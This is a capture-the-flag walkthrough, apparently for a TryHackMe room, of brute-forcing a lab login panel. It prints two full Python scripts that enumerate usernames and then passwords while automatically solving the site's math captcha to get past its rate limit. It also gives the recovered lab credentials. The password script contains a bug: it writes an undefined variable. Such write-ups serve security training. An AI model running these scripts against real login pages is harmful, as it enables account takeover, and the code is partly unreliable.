Capture Walkthrough
By Shahd Qishta
بسم الله الرحمن الرحيم
the room has username and password lists, and it talks about its login panel, so i went straight to the website.
i thought at the start, great, just brute forcing, mix and match the two lists, i tested it first, and i found out when i enter a wrong username, the panel calls me in on it:
The user ‘test’ does not exist
so first enumerate usernames: i created a username enumeration script and started it, but i found a funny thing after few attempts:
a rate limit on the login, then a captcha alert is turned on and never goes off, so i altered the script to include the captcha, just to say, i first thought i make a get request to get the captcha then a post request to send the request, but the get request only gets the original login page, and when i login with it, it reveals the captcha form and gives Invalid captcha error:
so if it’s not get, it’s post right?
Get Shahd Mk’s stories in your inbox
Join Medium for free to get updates from this writer.
i checked the source code to make sure:
so to get the captcha, we send a post request to the login panel, we get this source code, and extract the equation, calculate it the numbers and send the value with username and password, now for some reason, the captcha sometimes gives invalid captcha even if i sent the correct number, this happened manually and with the script, so i printed the names that the captcha error was triggered for them, to test them again and make sure if they were valid or not: this is the script i generated:
#!/usr/bin/env python3
import argparse
import re
import sys
from pathlib import Path
from urllib.parse import parse_qsl, urlencode
import requests
from tqdm import tqdm
INVALID_PHRASE = "does not exist"
DEFAULT_OUT = "valid_usernames.txt"
INVALID_CAPTCHA_PHRASE = "Invalid captcha" # check in response
def extract_first_equation(text):
m = re.search(r"(\d+)\s*([+\-xX\*\/])\s*(\d+)", text)
if not m: return None
return int(m.group(1)), m.group(2), int(m.group(3))
def compute(a, op, b):
if op == "+": return a + b
if op == "-": return a - b
if op in ("*", "x", "X"): return a * b
if op == "/": return a // b if b != 0 else 0
raise ValueError(f"unsupported operator: {op}")
def add_or_replace_captcha_in_data(data_str, captcha_value):
pairs = parse_qsl(data_str, keep_blank_values=True)
found = False
new_pairs = []
for k, v in pairs:
if k.lower() == "captcha":
new_pairs.append((k, str(captcha_value)))
found = True
else:
new_pairs.append((k, v))
if not found:
new_pairs.append(("captcha", str(captcha_value)))
return urlencode(new_pairs)
def post_request(session, url, data_str, timeout):
headers = {
"User-Agent": "Mozilla/5.0 (enum-post-captcha)",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
return session.post(url, data=data_str, headers=headers, timeout=timeout)
except Exception as e:
return e
def process_username(username, url, data_template, timeout):
session = requests.Session()
data_initial = data_template.replace("{username}", username)
resp1 = post_request(session, url, data_initial, timeout)
if isinstance(resp1, Exception):
return username, False, f"INITIAL_POST_ERROR: {resp1}", None, None
body1 = resp1.text or ""
eq = extract_first_equation(body1)
if not eq:
return username, False, "NO_EQUATION_IN_RESPONSE", None, None
a, op, b = eq
try:
captcha_value = compute(a, op, b)
except Exception as e:
return username, False, f"CAPTCHA_COMPUTE_ERROR: {e}", None, None
# POST with captcha
data_with_captcha = add_or_replace_captcha_in_data(data_initial, captcha_value)
resp2 = post_request(session, url, data_with_captcha, timeout)
if isinstance(resp2, Exception):
return username, False, f"FINAL_POST_ERROR: {resp2}", captcha_value, f"{a} {op} {b}"
body2 = resp2.text or ""
success = (INVALID_PHRASE.lower() not in body2.lower())
invalid_captcha_detected = (INVALID_CAPTCHA_PHRASE.lower() in body2.lower())
return username, success, "OK", captcha_value, f"{a} {op} {b}" if invalid_captcha_detected else None
def main():
parser = argparse.ArgumentParser(description="Sequential username enumeration with captcha handling.")
parser.add_argument("url")
parser.add_argument("userlist")
parser.add_argument("data_template")
parser.add_argument("--timeout", type=int, default=10)
parser.add_argument("--out-valid", default=DEFAULT_OUT)
args = parser.parse_args()
userlist_path = Path(args.userlist)
if not userlist_path.is_file():
print(f"[!] Userlist not found: {userlist_path}")
sys.exit(1)
usernames = [line.strip() for line in userlist_path.read_text(encoding="utf-8", errors="ignore").splitlines() if line.strip()]
total = len(usernames)
if total == 0:
print("[!] No usernames in list.")
sys.exit(1)
out_valid_path = Path(args.out_valid)
out_valid_path.touch(exist_ok=True)
found_count = 0
error_count = 0
bar_format = "{l_bar}{bar} | {n_fmt}/{total_fmt} [{elapsed}<{remaining}, {rate_fmt}]"
with tqdm(total=total, desc="Enumerating", unit="user", bar_format=bar_format, ncols=100) as pbar:
for username in usernames:
user, success, status, captcha_value, equation = process_username(username, args.url, args.data_template, args.timeout)
if equation:
print(f"[!] Invalid captcha detected for {username}. Equation: {equation} = {captcha_value}")
if success:
found_count += 1
print(f"[+] Valid username found: {username}") # print immediately
with out_valid_path.open("a", encoding="utf-8") as fh:
fh.write(user + "\n")
else:
error_count += 1
pbar.update(1)
pbar.set_postfix({"user": username, "valid": found_count, "errors": error_count})
print(f"\n[+] Done. Valid usernames: {found_count}, Errors: {error_count}")
if found_count:
print(f"[+] Valid usernames saved to: {out_valid_path}")
if __name__ == "__main__":
main() ./userenum.py http://10.10.66.2/login usernames.txt 'username={username}&password=test&captcha=0'i found a valid username: natalie.
Invalid password for user ‘natalie’
i tested the invalid captcha usernames again and they are all were invalid usernames, so in the list, there is only natalie that is valid.
so now i will do the same thing for passwords, i altered the script a little to enumerate passwords rather than usernames:
#!/usr/bin/env python3
import argparse
import re
import sys
from pathlib import Path
from urllib.parse import parse_qsl, urlencode
import requests
from tqdm import tqdm
INVALID_PHRASE = "Invalid password for user"
DEFAULT_OUT = "valid_passwords.txt"
INVALID_CAPTCHA_PHRASE = "Invalid captcha" # check in response
def extract_first_equation(text):
m = re.search(r"(\d+)\s*([+\-xX\*\/])\s*(\d+)", text)
if not m: return None
return int(m.group(1)), m.group(2), int(m.group(3))
def compute(a, op, b):
if op == "+": return a + b
if op == "-": return a - b
if op in ("*", "x", "X"): return a * b
if op == "/": return a // b if b != 0 else 0
raise ValueError(f"unsupported operator: {op}")
def add_or_replace_captcha_in_data(data_str, captcha_value):
pairs = parse_qsl(data_str, keep_blank_values=True)
found = False
new_pairs = []
for k, v in pairs:
if k.lower() == "captcha":
new_pairs.append((k, str(captcha_value)))
found = True
else:
new_pairs.append((k, v))
if not found:
new_pairs.append(("captcha", str(captcha_value)))
return urlencode(new_pairs)
def post_request(session, url, data_str, timeout):
headers = {
"User-Agent": "Mozilla/5.0 (enum-post-captcha)",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
return session.post(url, data=data_str, headers=headers, timeout=timeout)
except Exception as e:
return e
def process_password(password, url, data_template, timeout):
session = requests.Session()
data_initial = data_template.replace("{password}", password)
resp1 = post_request(session, url, data_initial, timeout)
if isinstance(resp1, Exception):
return password, False, f"INITIAL_POST_ERROR: {resp1}", None, None
body1 = resp1.text or ""
eq = extract_first_equation(body1)
if not eq:
return password, False, "NO_EQUATION_IN_RESPONSE", None, None
a, op, b = eq
try:
captcha_value = compute(a, op, b)
except Exception as e:
return password, False, f"CAPTCHA_COMPUTE_ERROR: {e}", None, None
# POST with captcha
data_with_captcha = add_or_replace_captcha_in_data(data_initial, captcha_value)
resp2 = post_request(session, url, data_with_captcha, timeout)
if isinstance(resp2, Exception):
return password, False, f"FINAL_POST_ERROR: {resp2}", captcha_value, f"{a} {op} {b}"
body2 = resp2.text or ""
success = (INVALID_PHRASE.lower() not in body2.lower())
invalid_captcha_detected = (INVALID_CAPTCHA_PHRASE.lower() in body2.lower())
return password, success, "OK", captcha_value, f"{a} {op} {b}" if invalid_captcha_detected else None
def main():
parser = argparse.ArgumentParser(description="Sequential password enumeration with captcha handling.")
parser.add_argument("url")
parser.add_argument("passwords")
parser.add_argument("data_template")
parser.add_argument("--timeout", type=int, default=10)
parser.add_argument("--out-valid", default=DEFAULT_OUT)
args = parser.parse_args()
passwords_path = Path(args.passwords)
if not passwords_path.is_file():
print(f"[!] passwords not found: {passwords_path}")
sys.exit(1)
passwords = [line.strip() for line in passwords_path.read_text(encoding="utf-8", errors="ignore").splitlines() if line.strip()]
total = len(passwords)
if total == 0:
print("[!] No passwords in list.")
sys.exit(1)
out_valid_path = Path(args.out_valid)
out_valid_path.touch(exist_ok=True)
found_count = 0
error_count = 0
bar_format = "{l_bar}{bar} | {n_fmt}/{total_fmt} [{elapsed}<{remaining}, {rate_fmt}]"
with tqdm(total=total, desc="Enumerating", unit="password", bar_format=bar_format, ncols=100) as pbar:
for password in passwords:
password, success, status, captcha_value, equation = process_password(password, args.url, args.data_template, args.timeout)
if equation:
print(f"[!] Invalid captcha detected for {password}. Equation: {equation} = {captcha_value}")
if success:
found_count += 1
print(f"[+] Valid password found: {password}") # print immediately
with out_valid_path.open("a", encoding="utf-8") as fh:
fh.write(user + "\n")
else:
error_count += 1
pbar.update(1)
pbar.set_postfix({"user": password, "valid": found_count, "errors": error_count})
print(f"\n[+] Done. Valid passwords: {found_count}, Errors: {error_count}")
if found_count:
print(f"[+] Valid passwords saved to: {out_valid_path}")
if __name__ == "__main__":
main()./enumpasswords.py http://10.10.66.2/login passwords.txt 'username=natalie&password={password}&captcha=0' the password is sk8board.
we login using the found credentials:
tadaa.





![[IronHold] — Spring Boot Source Code Analysis: Finding Credentials, SQL Injection, PrivEsc, and…](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*2yaTo73YRGo1GknAUJNfPg.jpeg)

![[THM] -Brr — ScadaBR writeup](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*guqO8YC1Jq1d5dhiY2iKGg.png)

